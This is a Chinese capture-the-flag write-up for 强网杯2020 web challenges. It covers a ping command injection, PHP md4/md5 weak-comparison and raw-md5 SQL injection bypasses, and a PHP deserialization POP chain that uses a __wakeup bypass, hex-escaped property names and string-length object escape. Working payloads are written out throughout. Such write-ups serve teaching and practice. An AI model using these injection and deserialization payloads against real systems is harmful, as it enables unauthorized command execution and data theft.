[强网杯2020] web
太难了,除了强网先锋的题都做不出来,强网先锋部分简单题都不会
web分类的题一个也不会,菜逼的眼神
主动
命令注入,或者说直接就是命令执行吧,啥过滤都不给的,非常的主动啊
<?php
highlight_file("index.php");
if(preg_match("/flag/i", $_GET["ip"]))
{
die("no flag");
}
system("ping -c 3 $_GET[ip]");
?>
分号闭合语句,扫一下根目录没看见flag,用127.0.0.1;find -name 'fla*'
找到flag.php,cat fla*
获取flag
FunHash
超级md5绕过
<?php
include 'conn.php';
highlight_file("index.php");
//level 1
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}
//level 2
if($_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3']))
{
die('level 2 failed');
}
//level 3
$query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";
$result = $mysqli->query($query);
$row = $result->fetch_assoc();
var_dump($row);
$result->free();
$mysqli->close();
?>
level1是使用md4的弱类型比较,使用超级爆破,获取字符串0e251288019,md4计算后为0e874956163641961271069404332409,弱类型比较相等
level2是要求值强类型不等且md5值强类型相等,使用md5处理数组为false绕过
level3需要使用万能语句进行注入,这是一个收集的点,字符串ffifdyop的md5结果为'or'6�]��!r,��b
查询全部结果,获取flag
web辅助
反序列化题
index.php接受两个参数序列化一个player对象
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
....
?>
play.php反序列化
<?php
@error_reporting(0);
require_once "common.php";
require_once "class.php";
@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
print_r($player);
if ($player->get_admin() === 1){
....
}
?>
class.php定义了一系列类
<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
common.php提供三个工具函数
<?php
function read($data){
$data = str_replace('\0*\0', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '\0*\0', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Pass\n");
}
else{
return $data;
}
}
?>
反序列化的pop链很简单
$jungle = new jungle();
$mid = new midsolo($jungle);
$top = new topsolo($mid);
topsolo的析构函数进TP(),调用midsolo,进invoke,invoke进Gank,在stristr进jungle的toString,获取flag,但是有几个需要绕过的点
__wakeup绕过
这个很简单,考过无数次了,只需要把对象的对象数改成错的值就可以了
check绕过
check函数要求字符串中不能出现name字段,而我们pop链中这几个类的成员变量名均为name,正常的payload通过检测,需要使用技巧
PHP序列化中存在序列化类型S(大写),相较于小写的s,大写S是escaped字符串,会将\xx形式作为一个十六进制字符处理,n的十六进制是6e,所以把name替换为\6eame即可绕过,这里就需要把\0*\0替换为\00*\00,实现对protected对象的描述
如下所示S:7:"\00*\00\6eame";
同样能够解析为protected $name;
对象逃逸
因为序列化是通过username和password序列化出了一个player对象,完全无法获得我们所需要的几个类,但是看到write函数和read函数,本意是将不可见字符转换为可见字符进行存储,但是write和read函数导致了字符长度发生了变化。
如果我们之间写入\0*\0这样的内容,那么在read函数中就会把五个字符转换成三个字符,导致反序列化失败,同理也可以使得字符逃逸出来,构造出新的对象
令username为一长串\0*\0,这样子就可以吞下足够多的字符,使得后面的内容逃逸出来
username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0
password=;s:7:"\0*\0pass";O:7:"topsolo":2:{S:7:"\0*\0\6eame";O:7:"midsolo":2:{S:7:"\0*\0\6eame";O:6:"jungle":2:{S:7:"\0*\0\6eame";s:7:"Lee Sin";}}}
这样子序列化出来的数据为O:6:"player":3:{s:7:"\0*\0user";s:55:"\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0";s:7:"\0*\0pass";s:144:";s:7:"\0*\0pass";O:7:"topsolo":2:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":2:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}";s:8:"\0*\0admin";i:0;}
username在反序列化是被缩短,所以s:55会吞下其后的";s:7:"\0*\0pass";s:144:
,导致后面构造出的对象逃逸出来,造成反序列化